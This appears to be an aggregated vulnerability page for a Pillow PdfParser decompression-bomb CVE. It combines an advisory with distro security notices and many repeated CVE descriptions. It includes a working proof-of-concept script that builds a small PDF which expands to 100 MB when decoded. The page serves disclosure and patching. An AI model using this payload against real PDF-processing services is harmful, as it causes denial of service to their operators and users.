CVE-2026-59200

Summary

PdfParser.PdfStream.decode() in Pillow's PdfParser.py calls zlib.decompress() with the bufsize parameter set to the value of the PDF stream's Length field, without any upper bound on the actual decompressed output size. Python's zlib.decompress() bufsize argument is an initial output buffer hint, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses PdfParser to read untrusted PDF files.

Details

PdfStream.decode() in pdfminer/PdfParser.py reads the stream's declared Length (or DL) field from the PDF dictionary and passes it as bufsize to zlib.decompress():

# PIL/PdfParser.py — PdfStream.decode()
class PdfStream:
    def decode(self) -> bytes:
        try:
            filter = self.dictionary[b"Filter"]
        except KeyError:
            return self.buf
        if filter == b"FlateDecode":
            try:
                expected_length = self.dictionary[b"DL"]
            except KeyError:
                expected_length = self.dictionary[b"Length"]
            return zlib.decompress(self.buf, bufsize=int(expected_length))
            #                               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            #  bufsize is an *initial buffer hint*, NOT a maximum size limit.
            #  zlib.decompress() allocates as much memory as needed regardless.

From the Python documentation: "The bufsize parameter is used as the initial size of the output buffer." It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting Length to any value (including the actual compressed size) to avoid triggering format validation.

PdfParser is instantiated with a filename or file object and calls read_pdf_info() on open, which parses the xref table and makes stream objects accessible. PdfStream.decode() is reachable whenever calling code accesses a compressed stream object from the parsed PDF.

Confirmed reachable path:

with PdfParser.PdfParser("evil.pdf") as pdf:
    stream_obj, _ = pdf.get_value(pdf.buf, stream_offset)
    data = stream_obj.decode()   # ← OOM here

PoC

import zlib, tempfile, os, time
from PIL import PdfParser

# Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale)
EXPAND_MB = 100
raw = b'\x00' * (EXPAND_MB * 1_000_000)
compressed = zlib.compress(raw, level=9)   # ~97 KB

buf = b'%PDF-1.4\n'
o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n'
o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n'
o3 = len(buf)
hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode()
buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n'
xref = len(buf)
buf += b'xref\n0 4\n0000000000 65535 f \n'
for off in [o1, o2, o3]:
    buf += f'{off:010d} 00000 n \n'.encode()
buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n'

print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)")

with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f:
    f.write(buf); tmpname = f.name

with PdfParser.PdfParser(tmpname) as pdf:
    obj, _ = pdf.get_value(pdf.buf, o3)
    t = time.time()
    decoded = obj.decode()
    print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s")

os.unlink(tmpname)

Actual output (Pillow 12.1.1, Python 3.12):

PDF size: 97,538 bytes (95.3 KB)
Decoded: 100,000,000 bytes in 0.265s

Measured expansion:

| PDF file size | Memory allocated | Ratio | Wall time | |---|---|---|---| | 10 KB | 10 MB | 1,026× | 0.024 s | | 95 KB | 100 MB | 1,028× | 0.265 s | | 475 KB | 500 MB | 1,028× | 1.279 s | | 950 KB |…

Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)

Security Fix(es):

Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-54059)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.(CVE-2026-54060)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-55379)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.(CVE-2026-55380)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)

Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.(CVE-2026-59200)

Pillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.(CVE-2026-59204)

Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)

Security Fix(es):

Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-54059)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.(CVE-2026-54060)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-55379)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.(CVE-2026-55380)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)

Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.(CVE-2026-59200)

Pillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.(CVE-2026-59204)

Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)

Security Fix(es):

Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-54059)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.(CVE-2026-54060)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-55379)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.(CVE-2026-55380)

Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.(CVE-2026-59200)

Pillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.(CVE-2026-59204)

Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)

Security Fix(es):

Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-54059)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.(CVE-2026-54060)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-55379)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.(CVE-2026-55380)

Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.(CVE-2026-59200)

Pillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.(CVE-2026-59204)

Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)

Security Fix(es):

Pillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)

Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.(CVE-2026-59200)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)

Summary

PdfParser.PdfStream.decode() in Pillow's PdfParser.py calls zlib.decompress() with the bufsize parameter set to the value of the PDF stream's Length field, without any upper bound on the actual decompressed output size. Python's zlib.decompress() bufsize argument is an initial output buffer hint, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses PdfParser to read untrusted PDF files.

Details

PdfStream.decode() in pdfminer/PdfParser.py reads the stream's declared Length (or DL) field from the PDF dictionary and passes it as bufsize to zlib.decompress():

# PIL/PdfParser.py — PdfStream.decode()
class PdfStream:
    def decode(self) -> bytes:
        try:
            filter = self.dictionary[b"Filter"]
        except KeyError:
            return self.buf
        if filter == b"FlateDecode":
            try:
                expected_length = self.dictionary[b"DL"]
            except KeyError:
                expected_length = self.dictionary[b"Length"]
            return zlib.decompress(self.buf, bufsize=int(expected_length))
            #                               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            #  bufsize is an *initial buffer hint*, NOT a maximum size limit.
            #  zlib.decompress() allocates as much memory as needed regardless.

From the Python documentation: "The bufsize parameter is used as the initial size of the output buffer." It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting Length to any value (including the actual compressed size) to avoid triggering format validation.

PdfParser is instantiated with a filename or file object and calls read_pdf_info() on open, which parses the xref table and makes stream objects accessible. PdfStream.decode() is reachable whenever calling code accesses a compressed stream object from the parsed PDF.

Confirmed reachable path:

with PdfParser.PdfParser("evil.pdf") as pdf:
    stream_obj, _ = pdf.get_value(pdf.buf, stream_offset)
    data = stream_obj.decode()   # ← OOM here

PoC

import zlib, tempfile, os, time
from PIL import PdfParser

# Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale)
EXPAND_MB = 100
raw = b'\x00' * (EXPAND_MB * 1_000_000)
compressed = zlib.compress(raw, level=9)   # ~97 KB

buf = b'%PDF-1.4\n'
o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n'
o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n'
o3 = len(buf)
hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode()
buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n'
xref = len(buf)
buf += b'xref\n0 4\n0000000000 65535 f \n'
for off in [o1, o2, o3]:
    buf += f'{off:010d} 00000 n \n'.encode()
buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n'

print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)")

with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f:
    f.write(buf); tmpname = f.name

with PdfParser.PdfParser(tmpname) as pdf:
    obj, _ = pdf.get_value(pdf.buf, o3)
    t = time.time()
    decoded = obj.decode()
    print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s")

os.unlink(tmpname)

Actual output (Pillow 12.1.1, Python 3.12):

PDF size: 97,538 bytes (95.3 KB)
Decoded: 100,000,000 bytes in 0.265s

Measured expansion:

| PDF file size | Memory allocated | Ratio | Wall time | |---|---|---|---| | 10 KB | 10 MB | 1,026× | 0.024 s | | 95 KB | 100 MB | 1,028× | 0.265 s | | 475 KB | 500 MB | 1,028× | 1.279 s | | 950 KB |…

Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.

Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.

TuxCare rebuilt pillow to address 9 CVEs. Fixed in 11.2.1.post4+tuxcare.

TuxCare rebuilt pillow to address 1 CVE. Fixed in 10.4.0.post4+tuxcare.

TuxCare rebuilt pillow to address 2 CVEs. Fixed in 9.5.0.post6+tuxcare.

TuxCare rebuilt pillow to address 14 CVEs. Fixed in 11.3.0.post5+tuxcare.

TuxCare rebuilt pillow to address 4 CVEs. Fixed in 9.4.0.post8+tuxcare.

TuxCare rebuilt pillow to address 8 CVEs. Fixed in 8.4.0.post8+tuxcare.

These are all security issues fixed in the python313-Pillow-12.3.0-2.1 package on the GA media of openSUSE Tumbleweed.

This update for python-Pillow fixes the following issues

• CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on mmap path (bsc#1271419).
• CVE-2026-59197: heap out-of-bounds write in ImageFilter.RankFilter via integer overflow in ImagingExpand (bsc#1271418).
• CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
• CVE-2026-59199: heap out-of-bounds write in Image.paste() and Image.crop() via signed coordinate overflow (bsc#1271421).
• CVE-2026-59200: decompression bomb DoS via PdfParser.PdfStream.decode() (bsc#1271422).
• CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
• CVE-2026-59205: controlled heap out-of-bounds write in ImageCmsTransform.apply() via output mode mismatch (bsc#1271425).

Root has patched CVE-2026-59200 in the pillow package for Root:PyPI. Multiple fixed versions available.

This update for python-Pillow fixes the following issues

• CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on mmap path (bsc#1271419).
• CVE-2026-59197: heap out-of-bounds write in ImageFilter.RankFilter via integer overflow in ImagingExpand (bsc#1271418).
• CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
• CVE-2026-59199: heap out-of-bounds write in Image.paste() and Image.crop() via signed coordinate overflow (bsc#1271421).
• CVE-2026-59200: decompression bomb DoS via PdfParser.PdfStream.decode() (bsc#1271422).
• CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
• CVE-2026-59205: controlled heap out-of-bounds write in ImageCmsTransform.apply() via output mode mismatch (bsc#1271425).

This update for python-Pillow fixes the following issues

• CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on mmap path (bsc#1271419).
• CVE-2026-59197: heap out-of-bounds write in ImageFilter.RankFilter via integer overflow in ImagingExpand (bsc#1271418).
• CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
• CVE-2026-59199: heap out-of-bounds write in Image.paste() and Image.crop() via signed coordinate overflow (bsc#1271421).
• CVE-2026-59200: decompression bomb DoS via PdfParser.PdfStream.decode() (bsc#1271422).
• CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
• CVE-2026-59205: controlled heap out-of-bounds write in ImageCmsTransform.apply() via output mode mismatch (bsc#1271425).

This update for python-Pillow fixes the following issues

• CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on mmap path (bsc#1271419).
• CVE-2026-59197: heap out-of-bounds write in ImageFilter.RankFilter via integer overflow in ImagingExpand (bsc#1271418).
• CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
• CVE-2026-59199: heap out-of-bounds write in Image.paste() and Image.crop() via signed coordinate overflow (bsc#1271421).
• CVE-2026-59200: decompression bomb DoS via PdfParser.PdfStream.decode() (bsc#1271422).
• CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
• CVE-2026-59205: controlled heap out-of-bounds write in ImageCmsTransform.apply() via output mode mismatch

This update for python-Pillow fixes the following issues:

• CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on mmap path (bsc#1271419).
• CVE-2026-54059: bomb protection bypass via PCF font loading due to Image.frombytes() being called without _decompression_bomb_check() (bsc#1270409).
• CVE-2026-54060: excessive allocation due to FontFile.compile(): Image.new() being called without _decompression_bomb_check() (bsc#1270410).
• CVE-2026-55379: bomb protection bypass via font loading due to Image.new() being called without _decompression_bomb_check() (bsc#1270411).
• CVE-2026-55380: unchecked 4.3 GB C-heap allocation due to image dimensions being accepted without _decompression_bomb_check() in GdImageFile._open() (bsc#1270412).
• CVE-2026-59197: heap out-of-bounds write in ImageFilter.RankFilter via integer overflow in ImagingExpand (bsc#1271418).
• CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
• CVE-2026-59199: heap out-of-bounds write in Image.paste() and Image.crop() via signed coordinate overflow (bsc#1271421).
• CVE-2026-59200: decompression bomb DoS via PdfParser.PdfStream.decode() (bsc#1271422).
• CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
• CVE-2026-59205: controlled heap out-of-bounds write in ImageCmsTransform.apply() via output mode mismatch (bsc#1271425).

It was discovered that Pillow incorrectly handled map stride values when loading certain McIdas AREA images. An attacker could possibly use this issue to obtain sensitive information or cause a denial of service. (CVE-2026-54058)

It was discovered that Pillow did not properly check for decompression bombs when processing font files. An attacker could possibly use this issue to cause Pillow to consume excessive memory, resulting in a denial of service. (CVE-2026-54059, CVE-2026-54060, CVE-2026-55379)

It was discovered that Pillow did not properly check for decompression bombs when loading GD image files. An attacker could possibly use this issue to cause Pillow to consume excessive memory, resulting in a denial of service. (CVE-2026-55380)

It was discovered that Pillow incorrectly validated filter sizes in the rank filter implementation. An attacker could possibly use this issue to cause Pillow to crash or execute arbitrary code. (CVE-2026-59197)

It was discovered that Pillow incorrectly handled image coordinate calculations. An attacker could possibly use this issue to cause Pillow to crash. (CVE-2026-59199)

It was discovered that Pillow did not properly limit the size of decompressed PDF stream data. An attacker could possibly use this issue to cause Pillow to consume excessive memory, resulting in a denial of service. (CVE-2026-59200)

It was discovered that Pillow incorrectly parsed EPS files containing a negative byte count in the BeginBinary directive. An attacker could possibly use this issue to cause Pillow to hang, resulting in a denial of service. This issue only affected Ubuntu 26.04 LTS. (CVE-2026-59203)

It was discovered that Pillow incorrectly accumulated JPEG2000 tile component widths. An attacker could possibly use this issue to cause Pillow to consume excessive memory, resulting in a denial of service. (CVE-2026-59204)

It was discovered that Pillow incorrectly validated image mode compatibility in color management transforms. An attacker could possibly use this issue to cause Pillow to crash or execute arbitrary code. (CVE-2026-59205)